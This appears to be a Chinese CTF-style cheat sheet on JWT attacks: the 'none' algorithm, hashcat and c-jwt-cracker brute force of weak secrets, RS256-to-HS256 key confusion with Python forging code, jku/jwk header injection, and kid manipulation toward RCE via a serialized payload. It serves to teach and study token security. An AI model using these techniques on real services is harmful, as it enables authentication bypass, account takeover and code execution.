JWT常见攻击方法

JSON Web Token(JWT)不需要在服务端去保留用户的认证信息或者会话信息,利于分布式应用的扩展,且天然防御CSRF攻击。

在线解码:https://jwt.io/

JWT一共由三部分组成,分别为头部(header),载荷(payload),签名(signature)。

头部:{"alg": "HS256", "typ": "JWT"}

载荷:{ "sub": "1234567890", "name": "John Doe","iat": 1516239022}

签名:将base64编码后的header与base64编码后的payload通过符号.相连,然后通过header中声明的加密方式进行加盐secret组合加密。JWT最终的结果会将原始的base64字符串中的/换成_。并且去掉原本base64中用于补位的=。可以用python的库中base64.urlsafe_b64encode替换base64encode

1
2
3
4
5
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  your-256-bit-secret
)

密钥secret泄露

目录扫描,得到后缀为.swp的文件,恢复源码,源码中泄露JWT的密钥。

node的jsonwebtoken包存在漏洞,加密算法为none

1
2
payload = jwt.decode(jwtToken, verify=False)
jwt.encode(payload,None,algorithm=None)

密钥secret复杂度较低,爆破

1
2
3
4
/mnt/hgfs/tools/web/c-jwt-cracker$./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret

将非对称加密修改为对称加密

RS256的签名流程是:使用私钥对JWT签名,使用公钥验证JWT是否被篡改

HS256的签名流程是:使用密钥对JWT签名,使用同一个密钥验证JWT是否被篡改

后台服务器使用RS256生成token,使用HS256替换RS256,结合公钥,绕过验证。

1
2
3
4
5
6
7
#后台代码,生成token
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")

#利用HS256代替RS256,需要注释掉Python27\Lib\site-packages\jwt\algorithms.py,注释第147至第151行
public = open('public.pem', 'r').read()
print(public)
print(jwt.encode({"data":"test"}, key=public, algorithm='HS256')).decode('utf-8')

jku/jwk

JKU全称是JWKSet URL,它是头部的一个可选字段,用于指定链接到一组加密token密钥的URL。

利用mkjwk申请一组key,更改JKU为我们自己的json,用私钥加密payload,服务器端用我们的JKU中指定的公钥解密payload。

jwk就是json web key,直接修改此值,即修改公钥。

kid-任意文件

控制kid读取/dev/null为key,/dev/null能够丢弃一切写入其中的数据。而读取它将立即得到一个EOF。伪造一个有效token,包含我们恶意的python序列化内容,进行RCE。

辅助工具

1
D:\ctf\tools\web\jwt_tool>python3 jwt_tool.py jwt